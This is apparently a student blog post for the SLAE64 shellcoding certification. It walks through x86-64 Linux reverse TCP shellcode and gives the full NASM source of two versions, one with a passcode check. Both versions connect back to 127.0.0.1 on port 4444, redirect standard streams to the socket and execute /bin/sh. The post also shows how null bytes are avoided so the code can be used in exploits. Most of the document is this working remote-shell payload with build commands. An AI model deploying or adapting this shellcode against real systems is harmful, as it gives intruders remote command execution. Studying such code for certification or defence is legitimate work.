SLAE64 – Assignment #2 – Shell Reverse TCP shellcode

This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification :

http://www.securitytube-­training.com/online-­courses/x8664-­assembly-­and-­shellcoding-­on-­linux/index.html

Student ID: PA-6470

Assignment #2

The aim of this assignment is to create a shell reverse TCP shellcode with a passcode and to remove all 0x00 from opcodes.

First, we need to listen to incoming connections on port 4444 :

Then we launch the shellcode :

The reverse TCP shellcode open a connection on port 4444 and then we access to the /bin/sh shell !

Here are the opcodes of this shellcode, as you can see there are no 0x00 :

The passcode code part is exactly the same as the one described in Assignment#1

One thing about removing 0x00. At some points the original code contains some 0x00 like here :

mov dword [rsp-4], 0x0100007f

So I’ve chosen to use a substraction in order to have the same result :

;mov dword [rsp-4], 0x0100007f
mov dword [rsp -4], 0x9A999A18
sub dword [rsp -4], 0x99999999

Full source code is available here and on my Github account.

Source code of Reverse-Shell-Passcode-Safe.nasm

; This shellcode has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification :
; http://www.securitytube-training.com/online-courses/x8664-assembly-and-shellcoding-on-linux/index.html
;
; Author : SLAE64-PA-6470 (kahlon81)
; Date : 2018/02/21
;
; nasm -f elf64 Reverse-Shell-Passcode-Safe.nasm -o Reverse-Shell-Passcode-Safe.o
; ld Reverse-Shell-Passcode-Safe.o -o Reverse-Shell-Passcode-Safe

global _start

section .bss
    buffer resb 20               ; buffer of 20 bytes
    buffer_size equ $ - buffer   ; buffer size
    
section .data
    passcode: db 'pwd',0x0a
    passcode_required: db '#passcode : '
    passcode_required_size equ $ - passcode_required

section .text
_start:

	; sock = socket(AF_INET, SOCK_STREAM, 0)
	; AF_INET = 2
	; SOCK_STREAM = 1
	; syscall number 41 

	xor rax, rax
	add al, 41
	
	xor rdi, rdi
	inc dil
	inc dil

	xor rsi, rsi
	inc sil	

	xor rdx, rdx
	syscall

	; copy socket descriptor to rdi for future use 

	mov rdi, rax


	; server.sin_family = AF_INET 
	; server.sin_port = htons(PORT)
	; server.sin_addr.s_addr = inet_addr("127.0.0.1")
	; bzero(&server.sin_zero, 8)

	xor rax, rax 

	push rax
	
	;mov dword [rsp-4], 0x0100007f
	mov dword [rsp -4], 0x9A999A18
	sub dword [rsp -4], 0x99999999

	mov word [rsp-6], 0x5c11
	
	;mov word [rsp-8], 0x2
        mov word [rsp-8], 0x1FF
        sub word [rsp-8], 0x1FD

	sub rsp, 8


	; connect(sock, (struct sockaddr *)&server, sockaddr_len)
	
	xor rax, rax
	add al, 42

	mov rsi, rsp
	
	xor rdx, rdx
	add dl, 16	

	syscall


        ; duplicate sockets

        ; dup2 (new, old)
        
	xor rax, rax
	add al, 33

        xor rsi, rsi
	syscall

        xor rax, rax
	add al, 33

        xor rsi, rsi
	inc sil

	syscall

        xor rax, rax
	add al, 33

        xor rsi, rsi
	inc sil
	inc sil	

	syscall


	; passcode is required

	xor rdx, rdx
	mov dl, passcode_required_size

	;mov rsi, passcode_required
	push 0x203a2065			; #passcode : 
	mov rbx, 0x646f637373617023	; #passcode : 
	push rbx
	mov rsi, rsp 

	xor rdi, rdi
	mov dil, 1   ; stdout
        xor rax, rax
	mov al, 1    ; sys_write
	syscall	

	; user input
        
	;mov rdx, buffer_size
        xor rdx, rdx
	mov dl, buffer_size	

	;mov rsi, buffer
        mov rbx, 0x0101010101010101
	push rbx
	mov rsi, rsp

	xor rdi, rdi   ; stdin
        xor rax, rax 
	syscall        ; sys_read

	; check passcode 
	
	;lea rsi, [buffer]      ; user passcode
	;mov rsi, buffer

	;lea rdi, [passcode]    ; true passcode
	;mov rdi, passcode
	push 0x0a647770		; pwd0x0a
	mov rdi, rsp

	xor rcx, rcx 
	dec rcx
cmp_pwd:
	inc rcx
        mov al, byte [rsi + rcx]
	mov dl, byte [rdi + rcx]
	cmp al, dl                  ; compare each character
        jne exit                    ; jump out of loop if they are not the same
	cmp dl, 0x0a                ; end of string ?
	jne cmp_pwd                 ; not finished, loop again


        ; execve

        ; First NULL push

        xor rax, rax
        push rax

        ; push /bin//sh in reverse

        mov rbx, 0x68732f2f6e69622f
        push rbx

        ; store /bin//sh address in RDI

        mov rdi, rsp

        ; Second NULL push
        push rax

        ; set RDX
        mov rdx, rsp

        ; Push address of /bin//sh
        push rdi

        ; set RSI

        mov rsi, rsp

        ; Call the Execve syscall
        add rax, 59
        syscall
 
exit:
	xor rdi, rdi
	add dil, 1
	xor rax, rax
	add al, 60
        syscall

Source code of Reverse-Shell-Safe.nasm :

; This shellcode has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification :
; http://www.securitytube-training.com/online-courses/x8664-assembly-and-shellcoding-on-linux/index.html
;
; Author : SLAE64-PA-6470 (kahlon81)
; Date : 2018/02/21
;
; nasm -f elf64 Reverse-Shell-Safe.nasm -o Reverse-Shell-Safe.o
; ld Reverse-Shell-Safe.o -o Reverse-Shell-Safe

global _start


_start:

	; sock = socket(AF_INET, SOCK_STREAM, 0)
	; AF_INET = 2
	; SOCK_STREAM = 1
	; syscall number 41 

	xor rax, rax
	add al, 41
	
	xor rdi, rdi
	inc dil
	inc dil

	xor rsi, rsi
	inc sil	

	xor rdx, rdx
	syscall

	; copy socket descriptor to rdi for future use 

	mov rdi, rax


	; server.sin_family = AF_INET 
	; server.sin_port = htons(PORT)
	; server.sin_addr.s_addr = inet_addr("127.0.0.1")
	; bzero(&server.sin_zero, 8)

	xor rax, rax 

	push rax
	
	;mov dword [rsp-4], 0x0100007f
	mov dword [rsp -4], 0x9A999A18
	sub dword [rsp -4], 0x99999999

	mov word [rsp-6], 0x5c11
	
	;mov word [rsp-8], 0x2
        mov word [rsp-8], 0x1FF
        sub word [rsp-8], 0x1FD

	sub rsp, 8


	; connect(sock, (struct sockaddr *)&server, sockaddr_len)
	
	xor rax, rax
	add al, 42

	mov rsi, rsp
	
	xor rdx, rdx
	add dl, 16	

	syscall


        ; duplicate sockets

        ; dup2 (new, old)
        
	xor rax, rax
	add al, 33

        xor rsi, rsi
	syscall

        xor rax, rax
	add al, 33

        xor rsi, rsi
	inc sil

	syscall

        xor rax, rax
	add al, 33

        xor rsi, rsi
	inc sil
	inc sil	

	syscall


        ; execve

        ; First NULL push

        xor rax, rax
        push rax

        ; push /bin//sh in reverse

        mov rbx, 0x68732f2f6e69622f
        push rbx

        ; store /bin//sh address in RDI

        mov rdi, rsp

        ; Second NULL push
        push rax

        ; set RDX
        mov rdx, rsp

        ; Push address of /bin//sh
        push rdi

        ; set RSI

        mov rsi, rsp

        ; Call the Execve syscall
        add rax, 59
        syscall